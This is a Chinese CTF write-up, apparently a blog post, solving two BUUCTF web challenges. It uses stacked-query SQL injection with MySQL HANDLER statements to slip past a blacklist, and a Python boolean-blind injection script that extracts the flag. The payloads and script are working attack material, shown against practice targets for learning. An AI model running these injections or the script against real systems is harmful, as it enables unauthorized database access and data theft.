BUUCTF Web [GYCTF2020]Blacklist1 & [CISCN2019 华北赛区 Day2 Web1]Hack World1

[GYCTF2020]Blacklist1

启动靶机,点击查询

之前做过一道类似的( 可以看我之前写的 wp中的第二题 [强网杯 2019]随便注),这里就不啰嗦了,直接堆叠查询

1';show tables;#

 

发现了一个名叫FlagHere的表,看看有几列

1';show columns from `FlagHere`;#

 

 直接查flag

1';PREPARE dingzhen from concat('s','elect', ' * from `FlagHere` ');EXECUTE dingzhen;#

 被黑名单拦下了,看来本题使用拼接是绕不过黑名单的。尝试handler 命令查询

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

 拿到flag         flag{97ecce33-2493-460b-97b4-a7663f4d1670}

关于handler命令,可以看看这位大佬的文章mysql查询语句-handler_jesseyoung的博客-CSDN博客

[CISCN2019 华北赛区 Day2 Web1]Hack World1

启动靶机,发现提示说flag就在flag表里。先随便输入看看。经过几次测试,发现当输入为1,2的时候有正确回显,其他数字都会提示有错误

 再测试字母或字符发现提示

应该是数字型注入,加减乘除试一遍,发现只有/不会被过滤

 再测试发现=也不会被过滤

 既然=没有被过滤,直接就往bool盲注方向尝试,先尝试if语句是否被过滤

if(1=2,1,2)

 下面的会显语句对应值为2,看来可以通过if语句来实现bool盲注

if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2) 

 

 回显果然是查询1对应的回显,编写脚本进行爆破(也可以使用burp的intruder进行爆破)

找个写好的脚本,把url换成当前靶机的url

import requests

url = 'http://9d75bf0c-9633-4ce2-89f5-50864a2c1452.node4.buuoj.cn:81/index.php'
result = ''

for x in range(1, 50):
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        payload = "if(ascii(substr((select(flag)from(flag)),%d,1))>%d,1,2)" % (x, mid)
        data = {
            "id":payload
        }
        response = requests.post(url, data = data)
        if 'Hello' in response.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2

    result += chr(int(mid))
    print(result)

运行

拿到flag           flag{0095d72f-41db-4964-89dd-697dd7332fc7}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

WmVicmE=

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值